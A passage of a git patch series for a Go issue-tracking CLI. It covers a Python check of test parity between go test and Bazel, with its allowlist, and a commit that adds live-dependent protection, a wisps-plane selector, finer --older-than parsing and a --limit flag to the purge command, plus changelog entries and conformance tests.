the bazel query package-set check") + ap.add_argument("--details", action="store_true", help="list every divergence (nightly)") + ap.add_argument("--summary", default=None, help="append Markdown here (default: $GITHUB_STEP_SUMMARY)") + args = ap.parse_args(argv) + + root = os.path.abspath(args.root) + entries, allow_errors = load_allowlist(args.allowlist) + + expected, dirs = go_expected(root, args.go_list_json) + tested, configured, bep_testlogs = read_bep(args.bep) + # Prefer the BEP's own testlogs dir: the bazel-testlogs symlink follows + # whatever bazel command ran last, possibly in another output base. + testlogs = args.testlogs or bep_testlogs or os.path.join(root, "bazel-testlogs") + observed, problems = bazel_observed(tested, testlogs) + target_pkgs = None if args.no_query else query_go_test_pkgs(root, args.bazel) + + no_target, missing, extra, allowlisted = [], [], [], [] + if target_pkgs is not None: + for pkg in sorted(set(expected) - target_pkgs): + (allowlisted if allowed(entries, pkg, "*") else no_target).append((pkg, "*")) + for pkg, names in sorted(expected.items()): + seen = observed.get(pkg, {}) + for t in sorted(names - set(seen)): + (allowlisted if allowed(entries, pkg, t) else missing).append((pkg, t)) + for pkg, seen in sorted(observed.items()): + for t in sorted(set(seen) - expected.get(pkg, set())): + if SKIP_RE.search(t): + continue + (allowlisted if allowed(entries, pkg, t) else extra).append((pkg, t)) + + # Skip parity: passed under go test, skipped under Bazel. + skip_div, skip_allowed, parity_notes = [], [], [] + go_status = go_test_statuses(args.go_test_json, dirs) if args.go_test_json else None + if go_status is not None: + for pkg, seen in sorted(observed.items()): + gs = go_status.get(pkg, {}) + for t, bs in sorted(seen.items()): + g = gs.get(t) + if g is None or g == bs: + continue + if g == "passed" and bs == "skipped": + (skip_allowed if allowed(entries, pkg, t, "skip") else skip_div).append((pkg, t)) + else: + parity_notes.append((pkg, f"{t} (go test {g}, bazel {bs})")) + allowlisted += skip_allowed + + # Dedupe allowlisted pairs (a package-level entry also covers its tests). + allowlisted = sorted(set(allowlisted)) + # Skip entries can only be exercised when go test statuses are known. + unused = [e for e in entries if not e["used"] and (e["kind"] == "run" or go_status is not None)] + + statuses = {"passed": 0, "skipped": 0, "failed": 0} + for seen in observed.values(): + for s in seen.values(): + statuses[s] += 1 + n_expected = sum(len(v) for v in expected.values()) + ok = not (no_target or missing or extra or skip_div or allow_errors) + + limit = None if args.details else 40 + + def listing(title, pairs): + out = [f"{title} ({len(pairs)}):"] + shown = pairs if limit is None else pairs[:limit] + out += [f" {p or '.'} {t}" for p, t in shown] + if limit is not None and len(pairs) > limit: + out.append(f" ... {len(pairs) - limit} more (run with --details)") + return out + + lines = [ + f"go test: {len(expected)} packages with tests, {n_expected} top-level tests (excluding ^TestEmbedded)", + f"bazel: {len(configured)} go_test targets configured, {len(tested)} tested; " + f"{sum(len(v) for v in observed.values())} top-level tests seen " + f"({statuses['passed']} passed, {statuses['skipped']} skipped, {statuses['failed']} failed)", + ] + if target_pkgs is not None: + lines.append(f"query: {len(target_pkgs)} packages with a go_test target") + if go_status is None: + lines.append("skips: not compared (no --go-test-json; the nightly run checks skip parity)") + else: + n_go = sum(len(v) for v in go_status.values()) + lines.append( + f"skips: compared with {n_go} go test results: {len(skip_div) + len(skip_allowed)} passed under " + f"go test but skipped under Bazel ({len(skip_allowed)} allowlisted), {len(parity_notes)} other differences" + ) + lines.append(f"allowlisted divergences: {len(allowlisted)}") + for title, pairs in ( + ("packages with Go tests but no go_test target", no_target), + ("tests go test runs that Bazel did not", missing), + ("tests Bazel ran that go test would not", extra), + ("tests go test passed that Bazel skipped", skip_div), + ): + if pairs: + lines += listing(title, pairs) + if parity_notes: + lines += listing("other status differences (reported, not failed)", parity_notes) + if args.details and allowlisted: + lines += listing("allowlisted", allowlisted) + for e in unused: + lines.append(f"note: allowlist line {e['line']} ({e['pkg']} {e['test']} {e['kind']}) matched nothing; remove it") + for p in problems: + lines.append(f"note: {p}") + lines += allow_errors + verdict = "EQUIVALENCE: ok" if ok else "EQUIVALENCE: FAIL (unexplained divergence; fix the BUILD tags/targets or add a justified allowlist entry)" + lines.append(verdict) + print("\n".join(lines)) + + summary = args.summary or os.environ.get("GITHUB_STEP_SUMMARY") + if summary: + head = ( + f"**Equivalence**: {'ok' if ok else 'FAIL'}; go test {n_expected} tests in {len(expected)} packages, " + f"Bazel saw {sum(len(v) for v in observed.values())} " + f"(missing {len(missing)}, extra {len(extra)}, packages without target {len(no_target)}, " + f"skipped only under Bazel {len(skip_div) if go_status is not None else 'not compared'}, " + f"allowlisted {len(allowlisted)})\n\n" + ) + with open(summary, "a", encoding="utf-8") as f: + f.write(head) + f.write("
Equivalence detail\n\n```\n" + "\n".join(lines) + "\n```\n
\n\n") + return 0 if ok else 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/equivalence_allowlist.txt b/tools/bazel/equivalence_allowlist.txt new file mode 100644 index 000000000..c836cd5b7 --- /dev/null +++ b/tools/bazel/equivalence_allowlist.txt @@ -0,0 +1,31 @@ +# Expected divergences between the Go tests `go test` runs (pr.yml) and the +# ones `bazel test //... --config=ci` runs, for tools/bazel/equivalence.py. +# +# One entry per line, each with a justification: +# +# # why Bazel does not run it +# skip # why Bazel skips a test go test runs +# +# `*` as the test name covers the whole package, including a package with no +# go_test target. `skip` entries are checked only when go test statuses are +# supplied (--go-test-json, the nightly run). Keep this list short: every entry +# is a test the Bazel lane does not exercise. The checker reports entries that +# no longer match anything. + +# The in-test `go build` of bd that this test guards does not happen under +# Bazel (bd comes in through BEADS_TEST_BD_BINARY); go test still runs it. +cmd/bd TestGOMODCACHENotUnderTestHome skip # no in-test go build under Bazel; guarded by go test +# Needs TestAAAStdioBaseline in the same process; sharding splits them. +# TestMain's checkStdioAfterRun still checks every shard. +cmd/bd TestZZStdioNotLeaked skip # baseline test lands in another shard; checkStdioAfterRun covers each shard + +# Repository-policy tests that walk the whole source checkout (git ls-files, +# every BUILD file, .beads/ formulas). Bazel's runfiles hold only declared +# data, so they skip under TEST_SRCDIR; PR Core's go test runs them. +scripts TestBazelGoSrcsBlocksCurrent skip # walks the source checkout; runs under go test +scripts TestBazelNoPackagesUnderDocsTrees skip # walks the source checkout; runs under go test +scripts TestBazelNoRemoteEndpointsInTrackedFiles skip # scans git-tracked files; runs under go test +scripts TestBazelTestTagsFollowTaxonomy skip # reads every BUILD file in the checkout; runs under go test +scripts TestBazelTreeGoSrcsListsEveryPackage skip # walks the source checkout; runs under go test +scripts TestCheckTestingShortPassesOnCleanRepoTree skip # walks the whole checkout; runs under go test +scripts TestReleaseFormula* skip # .beads/ is in .bazelignore, so the formula cannot be data; runs under go test From 2ec0b2f07205bb519e67f81207a5f2a4c99b4e6b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 00:57:24 -0700 Subject: [PATCH 170/624] feat(purge): live-dependent protection, --wisps-plane selector, hour-precision --older-than, --limit (#6883) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(purge): live-dependent protection, --wisps-plane selector, hour-precision --older-than An orchestrator's wisp retention step deletes every closed row in the wisps table older than N hours, except a closed wisp that an open/hooked/in_progress wisp depends on through parent-child, tracks or blocks. `bd purge` could not express that: it selected the ephemeral TIER (so closed --no-history beads, which live in the wisps table, were left behind), it deleted a closed molecule root whose step was still open, and it floored --older-than hours to whole days (36h swept rows 24h old). All three land together so `bd purge --wisps-plane --older-than 168h --force` covers that step. Live-dependent protection (issueops.SweepRequest.ProtectLiveDependents, SweepSkips.LiveDependent): a candidate is held back when a live row depends on it through a SweepLiveDependentEdgeTypes edge (parent-child, tracks, blocks), read from both dependency tables. "Live" is the same not-done set the reference scan uses, custom statuses included, so it is a superset of open/hooked/in_progress. `bd purge` always asks for it (no opt-out: removing live work's root is `bd delete`'s job); `bd prune` does not. Reported as live_dependent_skipped in --json. Wisps-plane selector (issueops.SweepWispsPlane, `--wisps-plane`): the candidates are every closed row in the wisps TABLE, whatever its ephemeral/no_history/wisp_type values, via a new single-plane search (issueops.SearchWispsPlaneInTx) that the store backends call directly and the unit-of-work provider reaches through IssueUseCase.SearchWispsPlane, so embedded, server and proxied share one body. It reaches durable-tier (no-history) rows, so it carries the durable tier's require-a-filter gate. --older-than (purge and prune): day values keep their meaning (7, 7d, 2w); anything else is a Go duration taken exactly (36h, 168h, 90m). Tests: three new Sweeper contract cases (wisps plane clears the whole table, wisps plane requires a filter, protects live dependents) run on dolt, embeddeddolt and the uow provider; workapi unit tests; a CLI retention scenario run in embedded, shared proxied and managed-local proxied modes (fails against origin/main); TestParseOlderThan. Co-Authored-By: Claude Opus 5.5 * test(uow): classify IssueUseCase.SearchWispsPlane as a read in the notifying parity partition TestRecordingIssueUseCaseCoversItsSurface requires every IssueUseCase method to be either wrapped by the notifying decorator or exempted with the reason it fires no hook. SearchWispsPlane reads state and changes none, like SearchIssues beside it. Co-Authored-By: Claude Opus 5.5 * fix(purge): refuse out-of-range --older-than; add --limit for bounded drains; cross-plane protection test Review follow-ups on #6883. --older-than: a day count past what a time.Duration holds (213504d, 30501w) used to wrap silently — 213504d became 25m26s, which on a destructive command selected almost every closed row. It is now refused as out of range; ParseDuration already refused oversized h/m/s values. --limit N (issueops.SweepRequest.Limit, SweepResult.Remaining): one purge deletes at most N rows, oldest closed_at first (then id), after every protection, and reports the rest. --json adds remaining and has_more when --limit is given. At ~15ms/row on the proxied path a single unbounded sweep of a large backlog can outlive a caller's deadline, roll back, and never clear; a bounded loop cannot. Negative limits are ErrValidation at the role and refused at the CLI. Tests: TestParseOlderThan out-of-range rows; contract cases LimitTakesTheOldestClosedFirst and ProtectsLiveDependentsAcrossPlanes (a live issues-table bead depending on a closed wisp via parent-child, tracks and blocks keeps it) on dolt, embeddeddolt and uow; workapi units for the ordering and the negative-limit refusal; the CLI retention scenario now drains with --limit 1 and checks the overflow refusal. CHANGELOG notes that sub-day Nh values used to round UP to a day (12h is now taken exactly) and lists the protection under Changed. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .github/workflows/proxied-local-smoke.yml | 5 +- CHANGELOG.md | 38 +++ backend/conformance/role_bundle_cases.go | 5 + backend/conformance/sweeper_contract.go | 239 +++++++++++++++++- cmd/bd/BUILD.bazel | 2 + cmd/bd/prune.go | 2 +- cmd/bd/purge.go | 221 ++++++++++++---- cmd/bd/purge_test.go | 62 +++-- cmd/bd/purge_wisps_plane_integration_test.go | 207 +++++++++++++++ .../purge_wisps_plane_managed_local_test.go | 19 ++ .../storage/dolt/sweeper_contract_test.go | 25 ++ internal/storage/domain/db/issue.go | 7 + internal/storage/domain/issue.go | 16 ++ .../embeddeddolt/sweeper_contract_test.go | 25 ++ internal/storage/issueops/search.go | 29 +++ internal/storage/issueops/sweep.go | 56 +++- internal/storage/uow/notifying_parity_test.go | 1 + internal/storage/uow/sweeper.go | 82 +++++- internal/storage/uow/sweeper_contract_test.go | 29 +++ internal/workapi/sweep.go | 135 +++++++++- internal/workapi/sweep_test.go | 116 +++++++++ issueops/dependencyeditor.go | 1 + issueops/sweeper.go | 74 +++++- 23 files changed, 1301 insertions(+), 95 deletions(-) create mode 100644 cmd/bd/purge_wisps_plane_integration_test.go create mode 100644 cmd/bd/purge_wisps_plane_managed_local_test.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index 49d7a5128..d8d92221e 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -23,6 +23,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/purge*.go' - 'cmd/bd/*managed_local*' - 'cmd/bd/proxied_outage_reconnect_integration_test.go' - 'cmd/bd/db_proxy_child.go' @@ -49,6 +50,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/purge*.go' - 'cmd/bd/*managed_local*' - 'cmd/bd/proxied_outage_reconnect_integration_test.go' - 'cmd/bd/db_proxy_child.go' @@ -125,7 +127,8 @@ jobs: TestManagedLocalProxiedDoltStartRefusesOverLiveProxy \ TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone \ - TestManagedLocalProxiedTrackerUOWConformance + TestManagedLocalProxiedTrackerUOWConformance \ + TestManagedLocalProxiedPurgeWispsPlaneRetention do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/CHANGELOG.md b/CHANGELOG.md index 5c1a06274..88af367f2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -190,6 +190,38 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **`bd purge` covers an orchestrator's wisp retention sweep.** Three changes + that together let `bd purge --wisps-plane --older-than 168h --force` replace + a raw `DELETE FROM wisps` retention step: + - **Live-dependent protection, always on.** `bd purge` no longer deletes a + closed bead that a live bead depends on through a `parent-child`, + `tracks` or `blocks` edge — a closed molecule root whose step is still + open, a closed wisp a live convoy tracks, a closed blocker of live work. + "Live" is any status that is not done, including custom statuses. The + held-back count is reported as `live_dependent_skipped` in `--json` (and + on its own line in text output). The protection is on the role + (`issueops.SweepRequest.ProtectLiveDependents`); `bd prune` does not ask + for it. + - **`--wisps-plane`** selects every closed row stored in the wisps table, + including `--no-history` beads, which the default ephemeral selection + leaves to `bd prune`. It works on embedded, server and proxied + workspaces, and because it reaches durable-tier rows it requires + `--older-than` or `--pattern`, like `bd prune` + (`issueops.SweepWispsPlane`). + - **`--older-than` accepts hour and finer durations** (`36h`, `168h`, + `90m`, down to `1s`) on both `bd purge` and `bd prune`. Day values (`7`, + `7d`, `2w`) are unchanged. An `Nh` value used to be converted to whole + days: floored above a day (`36h` swept rows only 24 hours old) and + rounded UP to one day below it (`12h` kept everything younger than 24 + hours). Both are now taken exactly, so `bd prune --older-than 12h` now + deletes rows closed 12–24 hours ago that it used to keep. A value too + large to represent (e.g. `213504d`) is now refused instead of silently + wrapping to a tiny age. + - **`--limit N`** caps one `bd purge` run at N beads, oldest-closed first + (`issueops.SweepRequest.Limit`), so a large backlog drains in bounded + transactions; `--json` then adds `remaining` and `has_more`. Loop while + `has_more` is true. + - **`bd backup` works on a proxied-server workspace bd runs the Dolt server for.** `bd backup init`, `sync`, `remove`, `status` and `restore` are routed over the proxied provider; before this, a proxied workspace — the default @@ -310,6 +342,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- **`bd purge` keeps closed beads a live bead depends on.** A closed bead + that a not-done bead depends on through `parent-child`, `tracks` or + `blocks` is no longer purged (reported as `live_dependent_skipped`), so a + purge that used to delete a closed molecule root under a live step now + leaves it. See the `--wisps-plane` entry under Added. + - **Proxied-server refusals now say *why* they refuse.** The JSON a refused command prints gains a `reason` field next to the existing `code`, `error` and `mutates`: `design` for a refusal that is expected to stay (shared diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 3cd4239d7..0b0725aa4 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -657,6 +657,11 @@ var roleContractCases = []roleContract{ RunSweeperEmptyMatchIsZeroAndNil, RunSweeperRecordsExactlyOneHistoryEntry, RunSweeperDoesNotMutateTheCallerRequest, + RunSweeperWispsPlaneClearsTheWholeWispsTable, + RunSweeperWispsPlaneRequiresAFilter, + RunSweeperProtectsLiveDependents, + RunSweeperProtectsLiveDependentsAcrossPlanes, + RunSweeperLimitTakesTheOldestClosedFirst, ), roleCases("TreeWalker", "TreeWalker()", oncePerRole, diff --git a/backend/conformance/sweeper_contract.go b/backend/conformance/sweeper_contract.go index db70d027b..bae89c58d 100644 --- a/backend/conformance/sweeper_contract.go +++ b/backend/conformance/sweeper_contract.go @@ -89,6 +89,11 @@ type SweeperFixture struct { // by hand. A nil Exec means "this backend cannot seed raw rows", and the // case that needs it SKIPS with that reason rather than passing quietly. Exec func(ctx context.Context, statements []SQLStatement) error + // AddDependencies wires edges between seeded rows, filled from the + // backend's DependencyEditor role so each adapter routes an edge to the + // dependency table of its source's plane itself. The live-dependent case + // needs it; a nil hook SKIPS that case with the reason. + AddDependencies func(ctx context.Context, req publicops.AddDependenciesRequest) error } // sweeperClosedAt is the stamp every seeded candidate carries, and @@ -345,7 +350,7 @@ func RunSweeperDryRunChangesNothing(t *testing.T, ctx context.Context, fixture S IDPattern: sweeperPattern(fixture, "dry"), } - preview := sweeperSweep(t, ctx, fixture, sweeperWithDryRun(request, true)) + preview := sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)) if !preview.DryRun { t.Error("preview.DryRun = false; the result must echo the request it answered") } @@ -356,7 +361,7 @@ func RunSweeperDryRunChangesNothing(t *testing.T, ctx context.Context, fixture S // A second preview: a dry run that had deleted anything reports a smaller // number here. - if again := sweeperSweep(t, ctx, fixture, sweeperWithDryRun(request, true)); again.Swept != preview.Swept { + if again := sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)); again.Swept != preview.Swept { t.Fatalf("second preview Swept = %d, first = %d: the first preview changed the store", again.Swept, preview.Swept) } @@ -556,7 +561,7 @@ func RunSweeperRecordsExactlyOneHistoryEntry(t *testing.T, ctx context.Context, } before := sweeperHistory(t, ctx, fixture) - sweeperSweep(t, ctx, fixture, sweeperWithDryRun(request, true)) + sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)) if after := sweeperHistory(t, ctx, fixture); after != before { t.Errorf("history went %d -> %d across a DRY RUN, want no entry at all", before, after) } @@ -609,6 +614,230 @@ func RunSweeperDoesNotMutateTheCallerRequest(t *testing.T, ctx context.Context, } } +// RunSweeperWispsPlaneClearsTheWholeWispsTable pins issueops.SweepWispsPlane: +// the selection is the wisps TABLE, so a closed no-history bead — durable-tier, +// and left alone by SweepEphemeral (RunSweeperLeavesNoHistoryBeadsToTheDurableTier) +// — goes with the closed ephemeral wisp, while a closed issues-plane row the +// same pattern admits stays. +func RunSweeperWispsPlaneClearsTheWholeWispsTable(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + wisp := sweeperSeedClosedIssue(t, ctx, fixture, "plane", true) + durable := sweeperSeedClosedIssue(t, ctx, fixture, "plane", false) + noHistory := sweeperIssue(fixture, "plane", "nohist", false) + noHistory.NoHistory = true + if err := fixture.CreateWisp(ctx, noHistory, "sweeper-seed"); err != nil { + t.Fatalf("seeding %s: %v", noHistory.ID, err) + } + pinned := sweeperSeed(t, ctx, fixture, sweeperIssue(fixture, "plane", "pinned", true), func(issue *types.Issue) { + issue.Pinned = true + }) + + request := publicops.SweepRequest{ + Tier: publicops.SweepWispsPlane, + IDPattern: sweeperPattern(fixture, "plane"), + ClosedBefore: &sweeperCutoff, + } + preview := sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)) + if preview.Swept != 2 { + t.Fatalf("dry-run Swept = %d, want 2 (the ephemeral wisp and the no-history bead)", preview.Swept) + } + sweeperAssertWispRows(t, ctx, fixture, 3, wisp, noHistory.ID, pinned) + + result := sweeperSweep(t, ctx, fixture, request) + if result.Swept != 2 { + t.Errorf("Swept = %d, want 2 (the ephemeral wisp and the no-history bead)", result.Swept) + } + if result.Skipped.Pinned != 1 { + t.Errorf("Skipped.Pinned = %d, want 1 — the plane selector does not override pinning", result.Skipped.Pinned) + } + sweeperAssertWispRows(t, ctx, fixture, 0, wisp, noHistory.ID) + sweeperAssertWispRows(t, ctx, fixture, 1, pinned) + sweeperAssertIssueRows(t, ctx, fixture, 1, durable) +} + +// RunSweeperWispsPlaneRequiresAFilter pins that the wisps-plane tier carries +// the durable tier's require-a-filter gate: it reaches no-history beads, which +// are durable-tier. The refusal is asserted with its effect, as the durable +// case does. +func RunSweeperWispsPlaneRequiresAFilter(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + id := sweeperSeedClosedIssue(t, ctx, fixture, "planegate", true) + + result, err := fixture.Sweeper.Sweep(ctx, publicops.SweepRequest{Tier: publicops.SweepWispsPlane}) + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("Sweep(wisps-plane, no cutoff, no pattern) error = %v, want ErrValidation", err) + } + if result.Swept != 0 { + t.Errorf("refused sweep reported Swept = %d, want 0", result.Swept) + } + sweeperAssertWispRows(t, ctx, fixture, 1, id) +} + +// RunSweeperProtectsLiveDependents pins issueops.SweepRequest.ProtectLiveDependents: +// a closed row a LIVE row depends on through parent-child, tracks or blocks is +// held back and counted, while a closed row reached only by a non-structural +// edge, or only by a dependent that is itself closed, is swept. +// +// The live sources carry three different not-done statuses (open, +// in_progress, hooked), because "live" is the not-done set and not "open". +// It runs on the wisps-plane tier with a cutoff — the request an +// orchestrator's retention sweep sends — after proving on a dry run that the +// same rows ARE candidates without the protection. +func RunSweeperProtectsLiveDependents(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + if fixture.AddDependencies == nil { + t.Skip("fixture has no AddDependencies hook; cannot wire the edges this case needs") + } + live := func(name string, status types.Status) string { + issue := sweeperIssue(fixture, "live", name, true) + issue.Status = status + issue.ClosedAt = nil + return sweeperSeed(t, ctx, fixture, issue, nil) + } + closed := func(name string) string { + return sweeperSeed(t, ctx, fixture, sweeperIssue(fixture, "live", name, true), nil) + } + + parent := closed("parent") + openChild := live("child-open", types.StatusOpen) + tracked := closed("tracked") + convoy := live("convoy", types.StatusInProgress) + blocker := closed("blocker") + hooked := live("hooked", types.StatusHooked) + related := closed("related") + relater := live("relater", types.StatusOpen) + doneParent := closed("done-parent") + doneChild := closed("done-child") + + if err := fixture.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "sweeper-seed", + Edges: []publicops.DependencyEdge{ + {IssueID: openChild, DependsOnID: parent, Type: publicops.DepParentChild}, + {IssueID: convoy, DependsOnID: tracked, Type: publicops.DepTracks}, + {IssueID: hooked, DependsOnID: blocker, Type: publicops.DepBlocks}, + {IssueID: relater, DependsOnID: related, Type: publicops.DepRelated}, + {IssueID: doneChild, DependsOnID: doneParent, Type: publicops.DepParentChild}, + }, + }); err != nil { + t.Fatalf("wiring dependencies: %v", err) + } + + request := publicops.SweepRequest{ + Tier: publicops.SweepWispsPlane, + IDPattern: sweeperPattern(fixture, "live"), + ClosedBefore: &sweeperCutoff, + } + unprotected := sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)) + if unprotected.Swept != 6 || unprotected.Skipped.LiveDependent != 0 { + t.Fatalf("unprotected dry run: Swept = %d, LiveDependent = %d; want 6 and 0 — "+ + "the protection must be asked for", unprotected.Swept, unprotected.Skipped.LiveDependent) + } + + request.ProtectLiveDependents = true + result := sweeperSweep(t, ctx, fixture, request) + if result.Skipped.LiveDependent != 3 { + t.Errorf("Skipped.LiveDependent = %d, want 3 (the parent, the tracked bead and the blocker)", + result.Skipped.LiveDependent) + } + if result.Swept != 3 { + t.Errorf("Swept = %d, want 3 (the related-only bead and the closed parent/child pair)", result.Swept) + } + sweeperAssertWispRows(t, ctx, fixture, 3, parent, tracked, blocker) + sweeperAssertWispRows(t, ctx, fixture, 0, related, doneParent, doneChild) + sweeperAssertWispRows(t, ctx, fixture, 4, openChild, convoy, hooked, relater) +} + +// RunSweeperProtectsLiveDependentsAcrossPlanes pins that the live-dependent +// protection reads BOTH dependency tables: a closed wisp that a live DURABLE +// (issues-table) bead depends on through parent-child, tracks or blocks is +// kept, whatever not-done status the durable source carries. +func RunSweeperProtectsLiveDependentsAcrossPlanes(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + if fixture.AddDependencies == nil { + t.Skip("fixture has no AddDependencies hook; cannot wire the edges this case needs") + } + durableLive := func(name string, status types.Status) string { + issue := sweeperIssue(fixture, "xplane", name, false) + issue.Status = status + issue.ClosedAt = nil + return sweeperSeed(t, ctx, fixture, issue, nil) + } + closedWisp := func(name string) string { + return sweeperSeed(t, ctx, fixture, sweeperIssue(fixture, "xplane", name, true), nil) + } + + parent := closedWisp("parent") + tracked := closedWisp("tracked") + blocker := closedWisp("blocker") + loose := closedWisp("loose") + child := durableLive("child", types.StatusOpen) + convoy := durableLive("convoy", types.StatusInProgress) + waiter := durableLive("waiter", types.StatusDeferred) + + if err := fixture.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "sweeper-seed", + Edges: []publicops.DependencyEdge{ + {IssueID: child, DependsOnID: parent, Type: publicops.DepParentChild}, + {IssueID: convoy, DependsOnID: tracked, Type: publicops.DepTracks}, + {IssueID: waiter, DependsOnID: blocker, Type: publicops.DepBlocks}, + }, + }); err != nil { + t.Fatalf("wiring cross-plane dependencies: %v", err) + } + + result := sweeperSweep(t, ctx, fixture, publicops.SweepRequest{ + Tier: publicops.SweepWispsPlane, + IDPattern: sweeperPattern(fixture, "xplane"), + ClosedBefore: &sweeperCutoff, + ProtectLiveDependents: true, + }) + if result.Skipped.LiveDependent != 3 || result.Swept != 1 { + t.Errorf("Swept = %d, LiveDependent = %d; want 1 (the unlinked wisp) and 3", result.Swept, result.Skipped.LiveDependent) + } + sweeperAssertWispRows(t, ctx, fixture, 3, parent, tracked, blocker) + sweeperAssertWispRows(t, ctx, fixture, 0, loose) + sweeperAssertIssueRows(t, ctx, fixture, 3, child, convoy, waiter) +} + +// RunSweeperLimitTakesTheOldestClosedFirst pins issueops.SweepRequest.Limit: +// one call deletes at most Limit rows, oldest closed_at first, and reports the +// rest as Remaining; the next call picks up where it stopped. +func RunSweeperLimitTakesTheOldestClosedFirst(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + seed := func(name string, closed time.Time) string { + return sweeperSeed(t, ctx, fixture, sweeperIssue(fixture, "limit", name, true), func(issue *types.Issue) { + issue.ClosedAt = &closed + }) + } + newest := seed("newest", sweeperClosedAt) + middle := seed("middle", sweeperClosedAt.Add(-24*time.Hour)) + oldest := seed("oldest", sweeperClosedAt.Add(-48*time.Hour)) + + request := publicops.SweepRequest{ + Tier: publicops.SweepEphemeral, + IDPattern: sweeperPattern(fixture, "limit"), + Limit: 2, + } + first := sweeperSweep(t, ctx, fixture, request) + if first.Swept != 2 || first.Remaining != 1 { + t.Fatalf("first limited sweep: Swept = %d, Remaining = %d; want 2 and 1", first.Swept, first.Remaining) + } + sweeperAssertWispRows(t, ctx, fixture, 0, oldest, middle) + sweeperAssertWispRows(t, ctx, fixture, 1, newest) + + second := sweeperSweep(t, ctx, fixture, request) + if second.Swept != 1 || second.Remaining != 0 { + t.Fatalf("second limited sweep: Swept = %d, Remaining = %d; want 1 and 0", second.Swept, second.Remaining) + } + sweeperAssertWispRows(t, ctx, fixture, 0, newest) + + if _, err := fixture.Sweeper.Sweep(ctx, publicops.SweepRequest{ + Tier: publicops.SweepEphemeral, IDPattern: sweeperPattern(fixture, "limit"), Limit: -1, + }); !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("negative Limit error = %v, want ErrValidation", err) + } +} + // --- fixture helpers ------------------------------------------------------- // sweeperPattern is the glob that scopes one case's ids: a sweep is asked of a @@ -664,8 +893,8 @@ func sweeperSeedOpen(t *testing.T, ctx context.Context, fixture SweeperFixture, return sweeperSeed(t, ctx, fixture, issue, nil) } -func sweeperWithDryRun(request publicops.SweepRequest, dryRun bool) publicops.SweepRequest { - request.DryRun = dryRun +func sweeperAsDryRun(request publicops.SweepRequest) publicops.SweepRequest { + request.DryRun = true return request } diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 1267ccb2f..177e87af0 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -921,6 +921,8 @@ go_test( "prune_proxied_integration_test.go", "purge_embedded_test.go", "purge_test.go", + "purge_wisps_plane_integration_test.go", + "purge_wisps_plane_managed_local_test.go", "query_embedded_test.go", "query_limit_policy_test.go", "query_proxied_integration_test.go", diff --git a/cmd/bd/prune.go b/cmd/bd/prune.go index 510a62101..e230e199c 100644 --- a/cmd/bd/prune.go +++ b/cmd/bd/prune.go @@ -73,7 +73,7 @@ func init() { pruneCmd.Flags().BoolP("force", "f", false, "Actually prune (without this, shows preview)") pruneCmd.Flags().Bool("ignore-references", false, "Delete closed beads even when referenced by open beads (use with care; see --help for details)") pruneCmd.Flags().Bool("dry-run", false, "Preview what would be pruned with stats") - pruneCmd.Flags().String("older-than", "", "Only prune beads closed more than N ago (e.g., 30d, 2w, 60)") + pruneCmd.Flags().String("older-than", "", "Only prune beads closed more than N ago (e.g., 30d, 2w, 60, 36h)") pruneCmd.Flags().String("pattern", "", "Only prune beads matching ID glob pattern (e.g., 'gm-old-*')") rootCmd.AddCommand(pruneCmd) } diff --git a/cmd/bd/purge.go b/cmd/bd/purge.go index 0445e5ee7..0337db793 100644 --- a/cmd/bd/purge.go +++ b/cmd/bd/purge.go @@ -2,6 +2,7 @@ package main import ( "fmt" + "math" "strconv" "strings" "time" @@ -36,6 +37,12 @@ type purgeScope struct { // is not done. `bd prune` asks unless --ignore-references; `bd purge` // never does, because a wisp's citations are as transient as the wisp. protectReferenced bool + // protectLiveDependents asks the role to skip candidates a live bead + // depends on through a parent-child, tracks or blocks edge. `bd purge` + // always asks: deleting a closed wisp whose child, tracker or blocked bead + // is still live cuts that live work loose from its root, and there is no + // retention reason to want that — a deliberate removal is `bd delete`. + protectLiveDependents bool // reportsReferences publishes the reference-skip keys under --json. It is // separate from protectReferenced because `bd prune --ignore-references` // still publishes them, as zeroes, which is the shipped shape. @@ -52,7 +59,21 @@ Closed ephemeral beads (wisps, transient molecules) accumulate rapidly and have no value once closed. This command removes them to reclaim storage. Deletes: issues, dependencies, labels, events, and comments for matching beads. -Skips: pinned beads (protected). +Skips: pinned beads, and 